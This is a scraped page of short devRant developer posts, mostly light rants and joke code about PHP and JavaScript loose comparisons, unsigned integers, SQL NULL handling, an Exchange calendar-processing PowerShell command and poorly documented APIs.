Set-CalendarProcessing -Identity $userUpn -AutomateProcessing AutoAccept -AllowConflicts $false -BookingType 'Standard' -BookingWindowInDays 365 -MaximumDurationInMinutes 1440 -AllowRecurringMeetings $true -EnforceSchedulingHorizon $false -ScheduleOnlyDuringWorkHours $false -ConflictPercentageAllowed 0 -MaximumConflictInstances 0 -ForwardRequestsToDelegates $true -DeleteAttachments $true -DeleteComments $true -RemovePrivateProperty $true -DeleteSubject $true -AddOrganizerToSubject $true -DeleteNonCalendarItems $true -TentativePendingApproval $true-EnableResponseDetails $true -OrganizerInfo $true -AllRequestOutOfPolicy $false -AllBookInPolicy $true -AllRequestInPolicy $true -RemoveOldMeetingMessages $true -AddNewRequestsTentatively $true -ProcessExternalMeetingMessages $false -RemoveForwardedMeetingNotifications $true
ok I "splatted" that command but yet does not look much better :-)
Oh how I miss my dear old VIm and SSH sessions can't wait to go back to where I belong!
4 -
A bit longer rant, somehow triggered by the end of this rant:
https://devrant.com/rants/7145365/...
The discussion revolved around strpos returning false or a positive integer.
Instead of an Option or a Exception.
I said I'm a sucker for exception, but I'm also a sucker for typing.
Which is something most languages lack - except the lower level ones like C / C++.
I always loved languages which have unsigned and signed types.
There, I said it... :) I know that signed / unsigned is controversial, Google immediately leads to blog entries screaming bloody murder because unsigned can overflow – or underflow, if someone tries to use a -1on an unsigned integer.
Note that my love is only meant for numeric types, unsigned / signed char is ... a whole can of insanity on its own.
https://phoronix.com/news/...
If you wanna know more.
Back to the strpos problem, now with my secret love exposed:
strpos works on a single string, where a string is a sequence of chars starting with 0.
0 is a positive integer.
In case the needle (char that should be looked up in the string) cannot be found in the haystack (the string), PHP returns "false".
This leads to the necessity of explicitly checking the type as "0" (beginning of string, a string position)... So strpos !== false.
PHP interprets 0 as false, any other integer value is true.
In the discussion, the suggestion came up to return -1 if a value could not be found – which some languages do, for example Scala.
Now I said I have a love for unsigned & signed integers vs. just signed integers...
Can you guess why the -1 bothers me very much?
Because it's a value that's illogical.
A search in a sequence that is indexed by 0 can only have 0 or more elements, not less than zero elements.
-1 refers to a position in the sequence that *cannot* exist.
Which is - of course - the reason -1 was chosen as a return value for false, but it still annoys me.
An unsigned integer with an exception would be my love as a return value, mostly because an unsigned integer represents the return value *best*. After all, the sequence can only return a value of 0 ... X.
*sigh*
Yes, I know I'm weird.
I'm also missing unsigned in Postgres, which was more or less not implemented because it's not in the SQL standard...
*sob*29 -
import datetime as dt
while(True):
time_left = 24
work_hours = 8
trained_today = False
while(work_hours>0):
do_work()
listen_to_music()
browse_interesting_feeds()
work_hours -= 1
time_left -= 1
while(time_left>0):
if trained_today == False:
train()
trained_today = True
eat()
if dt.datetime.now().hour > 23:
time_left -= time_left -
int totalHourSpentOnFixingBootflags = 5;
while (!isWorking) {
Clover.flags = "-x -v -s -f nv_disable=1 injectNvidia=false ncpi=0x2000 cpus=1 dart=0 -no-zp maxmem=4096" + Internet.getRandomBootFlags();
}
1 -
{
while(time_to_exams > 0){
me.shouldBeLearning(true);
time_to_exams--;
}
public void shouldBeLearning(boolean bool){
if(bool){
should_be_learning = false;
waste_time_on_DevRant = true;
} else {
waste_time_on_DevRant = true;
}
}
} -
Problems with Dynamic typing (eyyy JS)
0 < undefined // false
0 == undefined // false
0 > undefined // false6 -
Q) 0 is false and !=0 is true.right??
A) 1,2,3,4.........................................................................................................................∞ -
I was working on a bug in a parser for the response from an api which returns 'n/a' when a certain measurement isn't available. The code was "if ($value == 'n/a')" and when this was true the value was rejected (language is php).
Some of you may instantly understand the problem here. I didn't. Some of the measurements were 0 which is ok, but for some reason it didn't accept them.
Then I discovered the bitter truth:
0 == 'n/a' is true!
Apparently php tries to convert the string to a number to compare it and if it fails it returns false, so false == 0
😞3 -
Legacy code in java :
boolean recursiveMethod(args){
Int i= 0;
Boolean doublon = false;
For(--whatever the loop--){
If(condition1 && condition2){
If(i++ > 0){
doublon=true;
Return doublon;
}
}
}
[...]
}5 -
I've been working with JavaScript for nearly a decade now and yet I still get fooled from time to time by the fact that 0 == false.11
-
Unicorn Themed day at code club ^_^
``` """ unicorn finder """
from random import randint
class UnicornFinder:
""" UnicornFinder class finds uncorns """
def __init__(self):
pass
def find_unicorn(self):
""" find a unicorn """
unicorn = True
for i in range(0, 31):
if randint(0, 7) != 7:
unicorn = False
break
if unicorn:
print("u200 unicorn found")
else:
print("u404:: unicorn not found")
if __name__ == '__main__':
UnicornFinder().find_unicorn()
```1 -
Recently had trouble with some SQL. My tests would not pass, so I had to manually run it to debug it.
SELECT * FROM a JOIN b ON [...] WHERE b.foo NOTNULL
Yielded 0 of 3 rows. Expected 1
Tried querying WHERE b.foo ISNULL instead. Would have expected 2 of 3 rows, but got 1.
After googling i discovered that comparing with NULL does not return a true/false binary description, but may also return unknown if the type is not a NULL type, e.g. 42 ISNULL =" UNKNOWN
😳 -
Was working as the only frontend developer ona project having 4 "senior" developers. They use Laravel to make an API feeding the angular app.
Why the documentation sucked?
Half the API call params where missing, and not one time did I come across an example stating that the API expects a boolean only to find out 20 minutes later that they mean int 1 or 0 not true or false. Best part however was sending arrays in POST by sending the elements as comma separated values (e1,e2,e3...). Oh and not documentation but while at it a rant... There are other response codes except 200 for fucks sake -
So I have this gulp task to minify javascript but it doesn't actually do that, It minifies in a single line which is actually correct, but it doesn't convert if/else into ternary and true/false to !0/!1?
> Gulp Task: https://pastebin.com/1d8k8juX -
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